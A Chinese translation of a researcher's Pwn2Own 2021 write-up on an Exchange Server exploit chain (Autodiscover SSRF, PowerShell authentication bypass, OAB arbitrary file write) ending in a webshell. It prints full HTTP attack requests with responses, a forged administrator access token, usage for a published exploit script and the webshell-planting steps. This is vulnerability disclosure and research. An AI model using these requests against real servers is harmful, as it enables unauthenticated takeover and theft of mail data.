本文为翻译稿件,原文:Pwn2Own 2021 Microsoft Exchange Exploit Chain
Autodiscover
前端服务中的Microsoft Exchange
未经身份验证的SSRF
,结合Powershell
后端服务中的身份验证绕过和OAB
后端服务中的任意文件写入,导致远程代码执行。
漏洞利用链允许远程攻击者编写webshell
并在受影响的Microsoft Exchange Server
安装上执行任意代码,无需身份验证即可利用此漏洞。这三个漏洞包括:
SSRF
允许远程攻击者以LocalSystem
权限向后端服务发送任意命令;Powershell
后端服务中的身份验证绕过以管理员权限运行任意Exchange cmdlet
;OAB
后端服务中的任意文件写入允许远程攻击者可以在OAB
文件夹上编写webshell
。前两个漏洞被称为ProxyShell
漏洞,与Orange Tsai
重复。 所以我在Pwn2Own
比赛中只获得了部分胜利。
第三个漏洞有趣且复杂,我学到了很多关于Microsoft Exchange
数据库 (MDB) 和 OAB 协议的内部知识。 此外,还可以利用它在Exchange Online
服务上获取RCE'
。 我在我的团队中进行了本地演示。
阅读此博客后,您可以在此处(https://www.slideshare.net/rskvp93/pwn2own2021msexchange3rdvulnpdf)获得有关第三个漏洞的更多详细信息。
该漏洞由Python 2.7
开发。 安装请求模块:pip install requests
.
执行命令:
python exploit.py <url> <domain_part> <command>
- url: the target url, for example https://ex19.exchangelab.local
- domain_part: the domain part an email address, for example [email protected], the domain part will be exchangelab.local
- command: the cmd command to run on server, for example whoami, dir
Example:
python exploit.py https://ex19.exchangelab.local exchangelab.local "whoami /all"
我在这里发布了我的漏洞 exploit.py
Exchange
邮箱服务器上的客户端访问服务负责接受所有形式的客户端连接。客户端访问(前端)服务将这些连接代理到目标邮箱服务器(本地服务器或保存用户邮箱的活动副本的远程邮箱服务器)上的后端服务,客户端不直接连接到后端服务。通信如下图所示。
Autodiscover
前端服务中的SSRF
漏洞允许未经身份验证的远程攻击者,向任意后端服务发送带有受控uri和受控数据的任意请求。此代理请求作为LocalSystem
帐户完全验证到后端服务。
示例请求如下:
POST /Autodiscover/[email protected]/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
SOAPAction: "http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"
Content-Type: text/xml;charset=UTF-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 1429
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
...
</soapenv:Envelope>
电子邮件cookie
的值为“Autodiscover/[email protected]”
。
如果RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)
返回 True
,它被设置到this.explicitLogonAddress
。
然后当前端服务调用GetClientUrlForProxy
方法构造代理路径转发给后端服务时,this.explicitLogonAddress
的值将从原来的AbsoluteUri
中移除。 注意,这里使用base.ClientRequest.Url.AbsoluteUri
而不是 base.ClientRequest.Url.AbsolutePath
。
原来的AbsoluteUri
是 /Autodiscover/[email protected]/ews/exchange.asmx
。
移除“Autodiscover/[email protected]”
后,最后代理路径为/ews/exchange.asmx
。
代理请求使用LocalSystem
帐户(又名计算机帐户)进行身份验证,因为在PrepareServerRequest
方法中,构造了Kerberos
授权标头并将其添加到代理请求中。
对于这个漏洞,我使用了与最近Orange Tsai
的ProxyLogon
漏洞相同的操作(特别感谢他非常棒的bug和很多技术)。
以下有效负载将允许获取用户邮箱的UserDN
(旧版 DN)(我使用SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
,这是一个大众熟知的特殊邮箱)。
POST /Autodiscover/[email protected]/Autodiscover/Autodiscover.svc HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: text/xml; charset=utf-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 1105
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
<wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
<wsa:To>https://mail.microsoft.com/autodiscover/autodiscover.svc</wsa:To>
</soap:Header>
<soap:Body>
<a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<a:Request>
<a:Users>
<a:User>
<a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
</a:User>
</a:Users>
<a:RequestedSettings>
<a:Setting>UserDN</a:Setting>
</a:RequestedSettings>
</a:Request>
</a:GetUserSettingsRequestMessage>
</soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: a1d3f976-97ad-42dd-b19a-07ed66b685a1
X-CalculatedBETarget: exchange16.domaincorp.com
X-DiagInfo: EXCHANGE16
X-BEServer: EXCHANGE16
X-AspNet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 31-Mar-1991 02:22:42 GMT; path=/Autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-FEServer: EXCHANGE16
Date: Wed, 31 Mar 2021 02:22:42 GMT
Content-Length: 1314
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettingsResponse</a:Action><h:ServerVersionInfo xmlns:h="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><h:MajorVersion>15</h:MajorVersion><h:MinorVersion>1</h:MinorVersion><h:MajorBuildNumber>2242</h:MajorBuildNumber><h:MinorBuildNumber>4</h:MinorBuildNumber><h:Version>Exchange2015</h:Version></h:ServerVersionInfo></s:Header><s:Body><GetUserSettingsResponseMessage xmlns="http://schemas.microsoft.com/exchange/2010/Autodiscover"><Response xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ErrorCode>NoError</ErrorCode><ErrorMessage/><UserResponses><UserResponse><ErrorCode>NoError</ErrorCode><ErrorMessage>No error.</ErrorMessage><RedirectTarget i:nil="true"/>
<UserSettingErrors/><UserSettings>
<UserSetting i:type="StringSetting">
<Name>UserDN</Name>
<Value>/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo</Value>
</UserSetting>
</UserSettings></UserResponse></UserResponses></Response></GetUserSettingsResponseMessage></s:Body></s:Envelope>
以下有效负载允许从UserDN
获取用户的 SID
。
POST /Autodiscover/[email protected]/mapi/emsmdb HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
X-Requestid: {C715155F-2BE8-44E0-BD34-2960065754C8}:2
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
Content-Type: application/mapi-http
Cookie: email=Autodiscover/[email protected]
Content-Length: 149
/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo....
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
的SID是 S-1-5-21-3452439987-3899459676-4048896270-1124
。
我们得到域ID:3452439987-3899459676-4048896270
和管理员帐户的 SID:S-1-5-21-3452439987-3899459676-4048896270-500
。
通过在 url 中伪造 X-CommonAccessToken,Powershell
后端服务中的身份验证绕过漏洞。
利用第一个SSRF
漏洞,远程攻击者可以向具有LocalSystem
权限的Powershell
后端服务发送请求。但是Powershell
后端服务会额外检查X-CommonAccessToken
标头是否存在 ,X-CommonAccessToken
标头从前端传递到后端以标识当前登录用户。
但是Powershell
后端服务有一个IIS
模块,允许在检查之前将 X-Rps-CAT
查询字符串转换为X-CommonAccessToken
标头。 因此,远程攻击者可以使用X-Rps-CAT
查询字符串伪造任意 X-CommonAccessToken
标头。
演示如下:
POST /Autodiscover/[email protected]/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBhET01BSU5BQkNEXGFkbWluaXN0cmF0b3JVLVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUwMEcKAAAABwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTIwBwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTIHAAAALVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUxOAcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTE5BwAAAAhTLTEtMTgtMUUAAAAA HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/soap+xml;charset=UTF-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 7075
....
我反转了CommonAccessToken
的格式,并为管理员帐户构造了一个强大的令牌,其中包含一些域组,如域管理员、模式管理员……(domainid 之前就被泄露了,domain_name 可以是任何字符串)。
至此我们有了CommonAccessToken
,可以发送具有管理员权限的powershell
请求。 我重写了一个简单的Powershell Remoting
协议,允许我运行Exchange
的任何cmdlet
。
但是目前只能运行Exchange的cmdlet
,不能运行Windows的任何cmdlet,也不能运行像 Add-Content -Path C:\test.txt -Text abc
这样的简单 cmdlet。
当然,我们可以运行这样的cmdlet:get-mailbox,...
。
OAB
后端服务中的任意文件写入允许远程攻击者可以在OAB
文件夹上编写 webshell
。
在讲述这个漏洞的细节之前,我先介绍以下OAB
的概念。
脱机通讯簿 (OAB) 是地址列表集合的本地副本。
在具有管理员帐户的Exchange Management Shell
中,我们可以创建一个新的 OAB:
New-OffLineAddressbook -Name test1 -AddressLists "Default Global Address List"
然后获取新的脱机通讯簿的 GUID。
在此示例中,guid 为02f1b6a8-8b8f-40c8-9df3-ac753563f9b8
。
我们可以通过直接访问 url 请求 OAB 文件:https://exchange16.domaincorp.com/oab/02f1b6a8-8b8f-40c8-9df3-ac753563f9b8/oab.xml。
第一次生成OAB文件,保存在文件夹C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\02f1b6a8-8b8f-40c8-9df3-ac753563f9b8
。
OAB文件除了保存在OS文件系统中外,还保存在特殊系统邮箱SystemMailbox
(前面提到的)的OAB文件夹中{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
。
我们可以通过在 SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱上调用EWS
服务来检查这一点。
在邮箱的OAB文件夹中,有一个主题为02f1b6a8-8b8f-40c8-9df3-ac753563f9b8
的项目IPM.FileSet
(与以前相同的guid)。
因此,对于我们使用cmdlet New-OfflineAddressBook
创建的每个 OAB:
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>
中会有对应的文件夹;SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱的OAB文件夹中会有一个对应的项目IPM.FileSet
,主题为<oab_guid>
。生成新的OAB文件的过程是:
/oab/<oab_guid>/oab.xml
获取 oab_guid
;SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱的文件夹 OAB 中是否存在主题为<oab_guid>
的项目;C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>
中;SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱的OAB文件夹中。注意第三步,演示如下:
所以如果我们可以控制SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱的文件夹OAB,我们就可以控制C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\中
的文件<oab_guid>
。
该漏洞出现在第 3 步,当 OAB 文件被下载并保存在 OS 文件系统中时,不会检查文件名是否为恶意扩展名,如 .aspx
、.ashx
。
所以如果我们可以控制SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱的文件夹OAB,我们就可以在C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\
中,写一个webshell <oab_guid>
并通过 url /oab/<oab_guid>/malicious.ashx
访问 webshell。
我结合以前的两个漏洞控制了SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱的文件夹OAB。
使用第二个Powershell
身份验证绕过漏洞,我可以发出一个powershell cmdlet New-OfflineAddressBook
来创建新的 OAB,并获取 oab_guid
。
然后,在SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
邮箱的权限下使用SSRF
向/ews/exchange.asmx
发送请求(SSRF
请求使用LocalSystem
帐户进行身份验证,因此具有模拟权限 另一个具有 SerializedSecurityContext
元素的邮箱用户)。
使用两个漏洞,我执行了以下步骤:
SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
的 OAB 文件夹中创建主题为<oab_guid>
的新项目IPM.FileSet
;oab.xml
和rskvp93.ashx
(这一步很复杂,因为我必须使用导入、导出技术来控制两个文件的hash属性);/oab/<oab_guid>/oab.xml
触发OABGeneratorProcess
;OABGeneratorProcess
将在 SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
的 OAB 文件夹中下载主题为<oab_guid>
的项目中的所有附件;OABGeneratorProcess
将在C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>
的操作系统文件系统中保存所有附件;/oab/<oab_guid>/rskvp93.ashx
获得 webshell。[email protected] (from VcsLab of Viettel Cyber Security)